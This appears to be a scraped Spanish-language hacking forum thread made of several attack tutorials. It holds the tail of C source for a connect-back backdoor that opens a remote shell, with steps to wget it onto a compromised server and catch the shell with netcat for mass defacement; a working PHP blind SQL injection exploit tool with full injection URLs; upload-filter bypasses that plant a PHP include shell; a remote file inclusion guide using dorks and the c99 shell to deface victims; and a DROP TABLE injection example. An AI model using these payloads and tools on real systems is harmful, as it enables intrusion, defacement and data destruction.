    } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {
    printf("[-] Unable to Resolve: %s ", host)
    return 1;
    }
    sin.sin_family = PF_INET;
    sin.sin_addr.s_addr = ia.s_addr;
    sin.sin_port = htons(port);
    printf("
  • Connecting... ");
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    printf("[-] Socket Error ");
    return 1;
    }
    if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
    printf("[-] Unable to Connect ");
    return 1;
    }
    printf("
  • Spawning Shell ");
    f = fork( );
    if (f < 0) {
    printf("[-] Unable to Fork ");
    return 1;
    } else if (!f) {
    write(sock, msg, sizeof(msg));
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execl("/bin/sh", "shell", NULL);
    close(sock);
    return 0;
    }
    printf("
  • Detached ");
    return 0;
    }0; }
    ------------------------------------------------------------------------

    Este backdoor nos permitira conectarnos aunque el server tenga firewall

    sin embargo el backdoor solo funcionara si tenemos una conexion por

    Dial Up ya que he testeado con ADSL y no funciona ;)

    Para descargar el backdoor ya compilado:

    -------------------------------
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    -------------------------------

    Bien empezemos:

    En nuestro ejecutor de comandos nos cambiaremos a un directorio con

    permisos de escritura, ya explique como se hace eso :), y despues

    subiremos el backdoor :) y le daremos permisos 777

    ----------------------------------------------------

    cd /dir/;wget No tienes permitido ver los links. Registrarse o Entrar a mi cuenta; chmod 777 dc

    ----------------------------------------------------

    La siguiente herramienta que utilizaremos para poder conectarnos

    al servidor sera netcat, que servira como programa escucha y ahi

    recibiremos la shell.

    En dado caso que estemos bajo Windows haremos lo siguiente en

    nuestra linea de comandos :) ejecutaremos nuestro netcat:

    ------------------------------------------

    Microsoft Windows XP [Versión 5.1.2600]
    (c) Copyright 1985-2001 Microsoft Corp. <-------ejecutamos Netcat

    C:\Documents and Settings\Status-x>nc
    Cmd line:

    -------------------------------------------

    Nos saldra algo como Cmd line: aqui especificaremos el comando

    para que Netcat se ponga a la escucha y podamos obtener la shell :)

    el comando que pondremos sera:

    --------------------
    -vv -l -p puerto
    --------------------

    Y si lo hicimos bien en el netcat nos saldra lo siguiente:

    -------------------------------------------

    C:\Documents and Settings\Status-x>nc
    Cmd line: -vv -l -p 80
    listening on [any] 80 ...

    -------------------------------------------

    cabe mencionar que tendremos que desactivar nuestros firewall para

    que podamos recibir la shell, esto involucra tambien desactivar

    el servidor de seguridad de internet de microsoft, esto se hace asi:

    ------------------------------------------------------------------
    Inicio > Conexiones de red > Tu Conexion > Propiedades > Avanzadas
    ------------------------------------------------------------------

    Y ahi desactivas la palomita de hasta arriba

    Entonces ya tenemos nuestro netcat a la escucha y lo unico que falta

    es obtener la shell :), entonces nos vamos a nuestro ejecutor de

    comandos y ejecutamos el backdoor:

    --------------------
    ./dc

    usage: ./dc <ip> <port>

    --------------------

    Ahora solo nos queda sustituir los valores que nos piden

    IP - Tu ip

    Port - Puerto que hayas especificado en el Netcat

    En este caso yo especifique el puerto 80 y procedemos a ejecutarlo :)

    -----------------------

    ./dc 200.145.23.34 80
    |
    | Tu IP
    |
    Backdoor Puerto

    -----------------------

    Si lo hicimos todo bien en el ejecutor de comandos nos debe salir algo como esto:

    ---------------------------
    Connect Back Backdoor

  • Dumping Arguments
  • Resolving Host Name
  • Connecting...
  • Spawning Shell
  • Detached

    -----------------------------

    y en el Netcat debe de haber aparecido la Shell!!!!!

    Sin embargo si aparece esto:

    -------------------------
    Connect Back Backdoor

  • Dumping Arguments
  • Resolving Host Name
  • Connecting...
    [-] Unable to Connect
    -------------------------

    Quiere decir que tu red no acepta este tipo de conexion o que hiciste algo mal

    , asi que checa tu IP, puerto, que el netcat este a la escucha, etc :)

    Recomiendo utilizar puertos de servicios que no sean sospechosos y con mayor

    probabilidad de que te conecten como: 80, 25, 15 ;)

    ############################################################################

    sh-2.05# ./ Despedida

    ############################################################################

    Bueno pues un tutorial mas, que estoy seguro les sera de ayuda a muchisimas

    personas que creian perdido su mass defacement :) jjejejejeje, espero que

    les haya gustado el tutorial si tienen dudas ya saben mi

    mail: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    MSN: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Bye a todos ;)

    un Saludo especial a Data Cha0s y Command Tribulation por facilitar las

    herramientas y la shell en que fue testeado el backdoor ;)

    ############################################################################

    sh-2.05b$ ./ exit

    Copyright 2005 Defacers Mexico - No modificar sin permiso de su autor

    Si publicas este texto en tu sitio por favor no lo modifiques ;)

    ############################################################################
#50

  • No Pretenderé Ocupar conceptos enredados, ni tampoco caer en tecnicismo, lo explicare como yo lo entiendo, y como me fuese gustado que me lo explicaran.

  • Esta Publicación esta enfocada a las personas que tengan nociones básicas de Blind SQL Injection, quienes no saben de qué estoy hablando, es mejor  que busquen algún tutorial de este tipo de vulnerabilidad en Nuestra Comunidad. o lean los siguientes conceptos.

    SQL Injections Generales

    Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro. Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.



    SQL Injection MSSQL

    Microsoft SQL Server es un sistema de gestión de bases de datos relacionales (SGBD) basado en el lenguaje Transact-SQL, y específicamente en Sybase IQ, capaz de poner a disposición de muchos usuarios grandes cantidades de datos de manera simultánea.

    SQL Injection MYSQL


    MySQL es un sistema de gestión de base de datos relacional, multihilo y multiusuario con más de seis millones de instalaciones. MySQL AB desde enero de 2008 una subsidiaria de Sun Microsystems desarrolla MySQL como software libre en un esquema de licenciamiento dual.


    ASCII (WIKIPEDIA)

    El código ASCII (acrónimo inglés de American Standard Code for Information Interchange — (Código Estadounidense Estándar para el Intercambio de Información), pronunciado generalmente [áski], es un código de caracteres basado en el alfabeto latino tal como se usa en inglés moderno y en otras lenguas occidentales. Fue creado en 1963 por el Comité Estadounidense de Estándares (ASA, conocido desde 1969 como el Instituto Estadounidense de Estándares Nacionales, o ANSI) como una refundición o evolución de los conjuntos de códigos utilizados entonces en telegrafía. Más tarde, en 1967, se incluyeron las minúsculas, y se redefinieron algunos códigos de control para formar el código conocido como US-ASCII.

    El código ASCII utiliza 8 bits para representar los caracteres, aunque inicialmente empleaba un bit adicional (bit de paridad) que se usaba para detectar errores en la transmisión. A menudo se llama incorrectamente ASCII a otros códigos de caracteres de 8 bits, como el estándar ISO-8859-1 que es una extensión que utiliza 8 bits para proporcionar caracteres adicionales usados en idiomas distintos al inglés, como el español.

    ASCII fue publicado como estándar por primera vez en 1967 y fue actualizado por última vez en 1986. En la actualidad define códigos para 33 caracteres no imprimibles, de los cuales la mayoría son caracteres de control obsoletos que tienen efecto sobre como se procesa el texto, más otros 95 caracteres imprimibles que les siguen en la numeración (empezando por el carácter espacio).

    Casi todos los sistemas informáticos actuales utilizan el código ASCII o una extensión compatible para representar textos y para el control de dispositivos que manejan texto.

    SUBSTRING() MID() No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Los formatos sin el argumento 'longitud' devuelve una subcadena de la 'cadena' empezando en la 'posicion'. Los formatos con el argumento 'longitud' devuelven una subcadena de 'longitud' caracteres desde la 'cadena', comenzando en la 'posicion'. Los formatos que usan FROM tienen la sintaxis SQL-92.
    Citar
    mysql> SELECT SUBSTRING('MySQL con Clase',7);
    +--------------------------------+
    | SUBSTRING('MySQL con Clase',7) |
    +--------------------------------+
    | con Clase                      |
    +--------------------------------+
    1 row in set (0.00 sec)

    mysql> SELECT SUBSTRING('MySQL con Clase' FROM 11);
    +--------------------------------------+
    | SUBSTRING('MySQL con Clase' FROM 11) |
    +--------------------------------------+
    | Clase                                |
    +--------------------------------------+
    1 row in set (0.01 sec)

    mysql> SELECT SUBSTRING('MySQL con Clase',7,3);
    +----------------------------------+
    | SUBSTRING('MySQL con Clase',7,3) |
    +----------------------------------+
    | con                              |
    +----------------------------------+
    1 row in set (0.00 sec)



    CitarSUBSTRING(cadena,posicion)
    SUBSTRING(cadena FROM posicion)
    SUBSTRING(cadena,posicion,longitud)
    SUBSTRING(cadena FROM posicion FOR longitud)
    MID(str,pos,len)

    ASCII()

    ASCII(str)

    Devuelve el valor de código ASCII del carácter más a la izquierda de la cadena str. Devuelve 0 si str es una cadena vacía. Devuelve NULL si str es NULL:
    Citar
    mysql> SELECT ASCII('2');
    +------------+
    | ASCII('2') |
    +------------+
    |         50 |
    +------------+
    1 row in set (0.03 sec)

    mysql> SELECT ASCII(2);
    +----------+
    | ASCII(2) |
    +----------+
    |       50 |
    +----------+
    1 row in set (0.00 sec)

    mysql> SELECT ASCII('dx');
    +-------------+
    | ASCII('dx') |
    +-------------+
    |         100 |
    +-------------+
    1 row in set (0.00 sec)

    vease:

    Control De Flujos:


    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Información Blind SQL Injection

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


    Información Búsqueda Binaria

    vease:


    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


    Ahora bien empecemos...
    Las Blind SQL Injection, es un tipo de vulnerabilidad que es bastante común y de una explotación bastante sencilla, pero tiene 1 solo problema. Es necesario  generar una cantidad de peticiones bastante considerables hasta encontrar un valor verdadero. Por lo que se convierte en una explotación bastante lenta y tediosa.
    Por Ejemplo, Planteemos el Siguiente Escenario.

    Tabla User




    Datos Contenidos en la tabla User:

       
  • Usuario: Administrador
       
  • Password: Undersecurity




    Ahora bien, Para Empezar Nosotros Obtendremos el Primer Valor del Usuario, mediante la metodología  Común para explotar las Blind SQL Injection.  (En un Ambiente Controlado dentro de la consola, no es una situación real de explotación).
    Para encontrar un valor verdadero tendremos que testear desde el Carácter 32 de la Tabla Ascii Hasta el Valor 122.
    Como Podemos Observar en la Siguiente Imagen, el Primer valor del Usuario es "A", transformado al formato Ascii obtendría el valor de  65.



    En la Practica Tendríamos que Generar  33 Peticiones (65 – 32) para Recién Obtener el Primer valor del usuario.
    Y si nos ponemos  bien extremistas, si el usuario se llamara zamorano, tendríamos que generar  90 peticiones para recién Obtener el Valor. Por lo que se hace  bastante lento y tedioso este tipo de explotación.

    Ahora viene  la implementación de Búsqueda Binaria.

    La Búsqueda Binaria se basa en la teoría de divide y vencerás. La Idea es ir dividiendo  el  rango en mitades.
    Por Ejemplo : La clave que queremos encontrar es 9.
    Tenemos el Siguiente String
    arreglo =(1,2,3,4,5,6,7,8,9,10,11);
    Dividimos en 2 el String Obteniendo.

       1. Restricción = ( 1, 2, 3, 4, 5,6 ) false
      2. Restricción =    (6, 7, 8, 9, 10,11) true

    Si se fijan la cantidad de números dentro del arreglo, es impar, por lo  que se necesita repetir un numero dentro de los 2 String resultantes (6), para obtener 2 String Con la misma cantidad de caracteres.
    Y Ahora ¿Cuál seria Nuestro String a Seguir?, El que Tenga Nuestro Valor a Buscar, en este caso el segundo String o la segunda restricción.

       1. Restricción = (6, 7,8) false
      2. Restricción = (9, 10,11) true

       1. Restricción =  (9,10) true
       2. Restricción =  (10,11) false

       1. Restricción =  (9) true
       2. Restricción =  (10) false

    Finalmente obtenemos nuestro valor, dentro de la primera restricción. Con una cantidad de   4 peticiones.


    Esta Misma Metodología Ahora la Aplicaremos a una Blind SQL Injection.


    Ahora Aplicaremos los Valores de la tabla Ascii desde el valor 32 hasta el 122.

        * Arreglo : 32-122 [Space-z]
        * Restriccion_1: 32-72 [Space-M]
        * Restricción_2: 72-122 [M-z]

    Utilizáramos el Siguiente  Consulta SQL.


    Query Global:


    Código: text
    +and+ (SELECT+IF ((ARREGLO), (RESTRICCION_1), false)) —



    Explicación


    Si El valor a encontrar esta entre los valores del arreglo, entonces consultar si están dentro de la primera restricción. por el contrario si el valor a buscar no esta dentro de la primera restricción, entonces esto significa, que esta dentro de la segunda restricción.

    Query : Restricción_1



    Código: text
    select+case+(ascii(mid((CONSULTA),SUBSTRING,1))+RESTRICCION_1)+when+true+then+(true)+else+false+end



    Explicacion :

    En el caso que el primer valor de la consulta este dentro del rango de la restriccion 1, entonces retornara verdadero. por el contrario retornara falso.

    Ahora bien, un Simple Ejemplo :

        * Consulta :

       
    Código: text

          select+user()


    Valor de user () : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Valor a Obtener : A

    Valor ASCII :65

        * Parametros:

    Arreglo: 32-122 [Space-z]
    Restriccion_1: 32-72 [Space-M]
    Restriccion_2: 72-122 [M-z]

    Consulta Completa :
    Código: text

    http://www.host.com/vulnz.php?id=1+and+(SELECT+IF((select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+122)+when+true+then+(true)+else+false+end),(select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+77)+when+true+then+(true)+else+false+end),false))--



    Explicacion :

    Buscaremos el Primer valor de la consulta "select user()", el cual es A, (Ascii: 65), primero consultaremos si el  valor esta entre 32-122 [Space-z], si este resulta verdadero entonces retonara TRUE , o por el contrario si no esta dentro del rango 32-122 retornara FALSE.

    Si el valor  retornado por la primera consulta es TRUE , entonces consultara si el primer valor esta entre 32-77 [Space-M], si esto es verdadero retornara TRUE, por el contrario retonara FALSE y el valor estaria entre 72-122[M-z].

    En Esta  Consulta Reducimos Nuestras alternativas de 90 a 45.

    ¿Podrías Adivinar que Estado Retornara la Consulta , Si el valor a Buscar es 64?

        * Si Pensaste en TRUE, estas en lo Correcto.

    Luego En la Segunda vuelta , el  rango que se encuentre dentro del valor a buscar (en este caso 32-77), se convertirá en nuestro arreglo, y se dividirá en 2 ([32-54]-[55-77]), así sucesivamente, hasta encontrar el valor final, en solo 7 consultas.

    Grafica :



    Para Demostrar Esta Metodología Desarrolle un Pequeño Programa que solamente muestra 1 carácter,  en 7 peticiones.

    Aclaro :  Es un PoC en Php.

    Posteriormente dentro del Lab de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Se desarrollara la Tool Completa.







    Código del POC Llamado BlindD00l:
    Descargar Blind00l

        * Testeado En Mysql 5.x
        * Curl Activado

    Gracias a toda la Comunidad No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

        * Cic4tr1z : logística Infinita
        * Nork : Correcciones y Apoyo en ideas extravagantes.
        * 1995: Apoyo Incondicional.
        * N0b0dy :Notable y leal animo a la comunidad.
        * Lix : Por ser Simplemente Lix.
        * y A muchos mas que quedaron en el camino.


    aqui la tool


    Código: text
    <?php
    #Optimizando las Blind SQL INjection
    #Blind00l 0.1 P0C Busqueda BInaria Aplicadas a las Blind SQL Injection
    #7 Peticiones para Encontrar 1 Valor.
    #Codeado Por OzX Undersecurity.net
    #Undersecurity.net

    function contar($url) {
    $curl = curl_init();

    $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
    $header[] = "Cache-Control: max-age=0";
    $header[] = "Connection: keep-alive";
    $header[] = "Keep-Alive: 300";
    $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $header[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
    curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
    curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
    curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    $html = curl_exec($curl);
    #$cantidad_linea = count(explode("\n",$html));#al pasar a chr(32) funciona en localhost
    $cantidad_linea = count(explode(chr(32),$html));
    $cantidad_space = str_word_count($html);
    unset($html,$header);
    return array($cantidad_linea,$cantidad_space);
    }

    function between($nodo_base){
    preg_match_all("/BETWEEN\+(\d+)\+AND\+(\d+)/i",$nodo_base,$salida, PREG_PATTERN_ORDER);
    unset($nodo_base);
    return array($salida[1][0],$salida[2][0]);
    }
    function binary($nodo_base){#busqueda Binaria
    list($start,$finish) =  between($nodo_base);
    $diferencia = $finish-$start;
    $suma = intval($start+(($diferencia)/2));
    $nodo_true = "BETWEEN+$start+AND+$suma";
    unset($start);
    $suma = intval((($diferencia%2)!=0) ? $suma + 1 : $suma);
    unset($diferencia);
    $nodo_false = "BETWEEN+".$suma."+AND+".$finish;
    unset($suma,$finish);
    return array($nodo_true,$nodo_false);
    }



    function recursivo_query($nodo_base,$web,$query,$substring,$original_linea,$original_space){
    list($start,$finish) =  between($nodo_base);
    echo "\t[-]ENTRE : ".chr($start)."-".chr($finish)."\n";
    $valor = blind00l($web,$query,$substring,$nodo_base,$original_linea,$original_space);
    return $valor;
    }

    function blind00l($web,$query,$substring,$nodo_base,$original_linea,$original_space){
    list($start,$finish) =  between($nodo_base);

    if ($start == $finish){
    unset($web,$query,$substring,$nodo_base,$original_linea,$original_space);
    if ($start == 0){
    echo "FINAL DE LA CADENA\n";
    }else{
    echo "\n";
    return chr($start);
    }
    }else{
    list($nodo_true,$nodo_false) = binary($nodo_base);
    $url = $web."+and+(SELECT+IF((select+case+(ascii(mid((".$query."),".$substring.",1))+".$nodo_base.")+when+true+then+(true)+else+false+end)";
    $url .= ",(select+case+(ascii(mid((".$query."),".$substring.",1))+".$nodo_true.")+when+true+then+(true)+else+false+end),false))--";
    list($cantidad_linea,$cantidad_space) = contar($url);
    if (($original_linea == $cantidad_linea) || ($original_space == $cantidad_space)){
    $valor = recursivo_query($nodo_true,$web,$query,$substring,$original_linea,$original_space);
    return $valor;
    }else{
    $valor = recursivo_query($nodo_false,$web,$query,$substring,$original_linea,$original_space);
    return $valor;
    }
    }
    }

    function usage(){
    echo "-web = URL WEB \n";
    echo "\t -web 'http://www.web.com/vulnz.php?id=3\n'";
    echo "-q = QUERY \n";
    echo "\t -q 'select+database()'\n";
    echo "-sub = SUBSTRING \n";
    echo "\t -sub 1\n";
    echo "EJEMPLO : \n";
    echo " -web 'http://www.web.com/vulnz.php?id=3' -q 'select+database()' -sub 1 \n";

    }

    function existe_curl(){
    if (!extension_loaded('curl_init') || !function_exists('curl_init')) {
    return true;
    }else{
    return false;
    }
    }



    $op_web = $argv[1];
    $op_query = $argv[3];
    $op_mid = $argv[5];

    #print_r($argv);
    if (existe_curl()===true){
    if ($argc == 7){
    if ($op_web == '-web'){
    $web = $argv[2];
    echo "WEB :> ".$web."\n";
    }
    if($op_query == '-q'){
    $query = $argv[4];
    echo "QUERY :>".$query."\n";
    }
    if($op_mid == '-sub'){
    $substring = $argv[6];
    echo "MID :> ".$substring."\n";
    }

    $nodo_base = "BETWEEN+0+AND+122";#Toda la Tabla ASCII, se Incorpora el 0 para encontrar el final de la cadena. NULL
    list($original_linea,$original_space) = contar($web);
    $starttime=time();
    echo "[*]VALORES DE COMPARACION ORIGINALES : ".$original_linea."-".$original_space."\n";
    $valor = blind00l($web,$query,$substring,$nodo_base,$original_linea,$original_space)."\n";
    echo "\tCARACTER ENCONTRADO :  ".$valor."\n";
    $endtime=time();
    $difftime=$endtime - $starttime;
    echo "SEGUNDOS TOTALES  :  ".$difftime."\n";
    }else{
    echo "FALTAN PARAMETROS\n";
    usage();
    }
    }else{
    echo "No Tienes Curl Instalado \n";
    }


    ?>



    fuente:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#51
1.- Introduccion


Muchas veces me he encontrado con paginas con uploads que intentan filtrar el contenido y la extension del archivo para impedir que cualquiera pueda subir archivos .php por ejemplo. En este manual os enseñare algunos trucos para bypassear algunas maneras que usan para filtrar los archivos que son subidos.


2.- Metodos de filtrado que utilizan y sus vulnerabilidades:



2.1.- Bypasseando uploads que usan ['type']

Código: text

<?php
$archivo = $HTTP_POST_FILES['archivo'];
$tipo = $archivo['type'];
if (!(strpos($tipo, "jpeg"))) {
echo'No aceptamos ese tipo de archivos';
}else{
    if (move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
       echo "Archivo subido correctamente "'>Archivo</a>";
    }else{
       echo "Imposible subir archivo";
    }
}
?>

El codigo vulnerable esta situado en: $archivo['type']; Ya que type es extraido de los headers que envia el navegador al subir un archivo, Por ejemplo este es el contenido de post que envÃ*a mi firefox al subir una imagen a ese upload:


Código: text

-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\n
Content-Type: image/jpeg\r\n
\r\n
BMV\x80\x0e

Analicemoslo linea por linea:



Código: text
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\nHay se especifica el nombre del archivo que se esta subiendo al upload: imagen.jpg



Código: text

Content-Type: image/jpeg\r\nHay se especifica de que "tipo" es el archivo

En las siguientes lineas se dice cual es el contenido del archivo.

Si querriamos subir un archivo .php al servidor solamente tendriamos que mandar esta peticion:



Código: text
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="mishell.php"\r\n
Content-Type: image/jpeg\r\n
\r\n
<?php include($_GET['c']); ?>


Si mandarÃ*amos esa petición al anterior upload conseguirÃ*amos subir mishell.php con éxito, para modificar las cabeceras que manda tu navegador puedes instalar este complemento en tu firefox:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ese complemento capturara todas las peticiones que envié tu navegador, solo tienes que darle a repetir para editarlas.



2.2 Uploads que miran la extensión del archivo
Hay otro tipo de uploads que miran la extensión del archivo, aquÃ* os pongo un ejemplo:


Código: text

<?php
$archivo = $HTTP_POST_FILES['archivo'];
$nombre = $archivo['name'];
$exploded = explode('.', $nombre);
$extension = $exploded['1'];

if (!($extension != 'jpg')) {
echo'No aceptamos ese tipo de archivos';
}else{
    if (move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
       echo "Archivo subido correctamente '".$archivo['name']."'>Archivo</a>";
    }else{
       echo "Imposible subir archivo";
    }
}
?>

Ese es un ejemplo muy simple, hay bastarÃ*a con subir un archivo con nombre mishell.jpeg.php para bypassear su filtro.

AquÃ* pongo otro un poco mas complicado:


Código: text

<?php
$archivo = $HTTP_POST_FILES['archivo'];
$nombre = $archivo['name'];
$extension = strrchr($nombre, '.');
if ($extension == 'php' or $extension == 'php5') {
echo'No aceptamos ese tipo de archivos';
}else{
    if (move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
       echo "Archivo subido correctamente ".$archivo['name']."'>Archivo</a>";
    }else{
       echo "Imposible subir archivo";
    }
}
?>

Ese upload denegarÃ*a subir la extensión .php  pero nosotros queremos subir un archivo .php :p.

Si subiriamos un archivo llamado mishell.jpg.php no nos dejaria ya que usa $extension = strrchr($nombre, '.'); y hay nos denegarÃ*a la extension. Subir un archivo llamado mishell.php.jpg tampoco nos valdrÃ*a ya que .jpg no se ejecutaria en el servidor. La solución esta en subir un archivo llamado mishell.php.... por ejemplo asÃ* bypasseariamos el filtro y mishell.php.... podrÃ*a ser leÃ*do como php en el servidor, veamos como hacerlo:

Primero con el live http headers capturamos la petición que manda nuestro navegador al subir un archivo llamado mishell.jpg:


Código: text

-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\n
Content-Type: image/jpeg\r\n
\r\n
<? include($_GET[s]); ?>

ahora le dariamos al boton que dice repetir y modificariamos la peticion asi:ç


Código: text

-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.php...."\r\n
Content-Type: image/jpeg\r\n
\r\n
<? include($_GET[s]); ?>


Así veríamos como imagen.php.... se a subido al servidor correctamente y si todo va bien se ejecutara como si fuera un archivo .php
#52
Bugs y Exploits / Manual RFI
Febrero 24, 2010, 02:27:48 PM
Manual RFI
by
adritxikitin

Wenas, aqui os dejo un completo tuto de RFI(Remote File Inclusion).

Contenido
¿Que es RFI?
¿Que es una SHELL?
Encontrar una web vulnerable
Explotar la vulneravilidad
Evitar RFI en nuestra web

¿Que es RFI?

RFI (Remote File Inclusion) es una vulnerabilidad que solamente existe en paginas dinamicas como php que permite enlazar archivos que estan en servidores remotos, esta vulnerabilidad se produce por una mala programacion del webmaster usando la funcion include()
Una web vulnerable podria ser:
www.victima.com/index.php?page=videos.php
Esta pagina lo que esta haciendo es incluir el documento "videos.php".
Nos aprovecharemos de esto incluyendo nuestros propios archivos pero para eso necesitamos una shell.

¿Que es una SHELL

Una shell es un interrete de ordenes y comandos. Es una interfaz para comunicar el usuario con el sistema operativo.
Con esto ejecutaremos comandos en la web victima.

Encontrar una web vulnerable

Para encontrar una web vulnerable nos tenemos que ir al inteligente No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y poner algun dork estilo esto: allinurl:index.php?page= .php
y variantes, en vez de page otra cosa similar como: go, pg, ir, ...
Una vez que elijamos una web que creamos que es vulnerable le hacemos esto:
www.victima.com/index.php?page=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si la pagina de Google se carga es casi seguro que esa web sea vulnerable al RFI.

Explotar la vulnerabilidad

Para explotar la vulnerabilidad tenemos que meter nuestra shell en la web. Para eso lo primero k tienes que hacer es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, yo para esto os recomiendo la c99. Una vez descargada la shell nos creamos un hosting gratuito y subimos la shell de modo que en tu web quedaria asi: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
ADVERTENCIA: Cuando subamos la shell a nuestra web la tenemos que subir con la extension GIF, si no se ejecutara en nuestro servidor.

Una vez subida la shell a nuestra web nos bamos a la web vulnerable que keremos defacear y le hacemos esto:
www.victima.com/index.php?page=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Entoces lo que pasara es que la shell se subira a la web de la victima y una vez echo eso ya podremos hacer con la web victima lo que nos de la gana.

Si haceis esto espero que lo agais en webs que se lo merezcan, de lammers, etc.

Evitar RFI en nuestra web

Como ya he dicho los bugs RFI son por culpa del programador asi que para evitarlos simplemente seria en el codigo no dejar que la gente haga lo que quiere por ejemplo.
Ejemplo de web vulnerable No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

<?

include($page);

?>

Y ese codigo lo que hace es incluir $page que seria igual a adritxikitin.php y para evitarlo podriamos utilizar un if o un switch por ejemplo.

<?

if ($page == "adritxikitin"){

include ("adritxikitin.php");

}

?>

Con ese codigo nos evitamos la inclusion de archivos no deseados ya que solo incluira el archivo si es igual a la variable.

Espero aberles ayudado y no espero que ballan defaceando sin razon xD.

Saludos.

Gracias adritxikitin por este aporte :)
#53
¿Qué es la injection SQL?

Bueno digamos que es un truco para inyectar comandos SQL en un sitio Web
OH hacer una consulta como un insumo, Principalmente el atacante la hace en la
Forma de método GET – POST  la mayoría de los sitios de parámetros hace una Consulta SQL en la base de datos digamos que tenemos una pagina de detalles
Con un producto en PHP que toma un parámetro product_id de un método GET 
Y obtiene el detalle de la base de datos una consulta SQL con el ataque de Injection SQL, Un atacante puede enviar una consulta SQL diseñada desde la dirección URL, De
La pagina de detalles del producto se recuerdan el product_id bueno la consulta la hace
Desde hay con eso podría hacer mucho daño a la base de datos, Podría incluso eliminar la tabla de base de datos...

Para saber mas sobre SQL pueden acceder a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

¿Método de ataque SQL injection en PHP?

Casi siempre la consulta habitual de sesión de un usuario en php es:

Código: text
$ sql = "SELECT * FROM tbl_user WHERE username ='".$_ POST [ '']."' Aquí el nombre de usuario y la contraseña='".$_ POST [' password']."'"; 
$result=mysql_query($sql); $ resultado = mysql_query ($sql);


Bueno muchos de UDS.
Piensan que el usuario solo puede iniciar sesión validad en el interior del servidor pero eso seria True.Well nadie podría acceder a la pagina con un simple truco vamos a suponer que yo soy el Atacante me llamo ShadinessDark inyecto X 'o' x '=' x en el campo de nombre y usuario y En el campo de contraseña entonces lo final seria asi:

Código: text
X '=' x 'y password =' x tbl_user SELECT * FROM WHERE username = 'x' o 'o' x '=' x '; 


Como se puede veer la consulta la acepta Como cierto   y nos devuelve la fila de la base de datos como resultado, el atacante puede iniciar sesión en el sistema como root...

En el ataque de SQL un atacante puede incluso caer  de una tabla de base de datos claro si el usuario tiene Permiso DROP en la base de datos...

Un ejemplo de consulta de una pagina con detalle de producto:

$ sql = "SELECT * FROM producto WHERE id_producto ='".$_ GET [ 'id_producto']."'";

Ahora el atacante inyecta comandos SQL en la URL de la pagina el código podría ser Así 11 ';  del DROP TABLE producto; # se vería algo así:

Código: text
http://xD.com/producto.php?id=11 '; Producto ; #


Ahora la consulta se convertiría en la siguiente forma:

Código: text
SELECT * FROM productos WHERE id_producto = '11 '; Producto ; #';


Muchos se preguntan que hace el '#' ya que en lenguajes como perl es solamente un Simple comentario esta consulta '#' simplemente ignora las comillas simple pasadas (') de la consulta...

Ósea ignora el resto de las No tienes permitido ver los links. Registrarse o Entrar a mi cuenta...

By ShadinessDark
Dedicación: BugDox
Team: V1rtu@l VIRu$ Bl@ck Team
#54
Bugs y Exploits / Cookies by: Refused
Febrero 24, 2010, 02:20:52 PM
COOKIES

Introducción:
Bueno, aqui un nuevo papper, en esta ocacion hablaremos sobre las cookies, que muchos no les dan importancia xDD y debido a que vi por ahy gente que preguntaba acerca de estas decidi hacer este papper donde se aprendera que son, como verlas, borrarlas,editarlas, como crear nuevas cookies, reemplazarlas y como robarlas tambien xDD sin mas que decir..

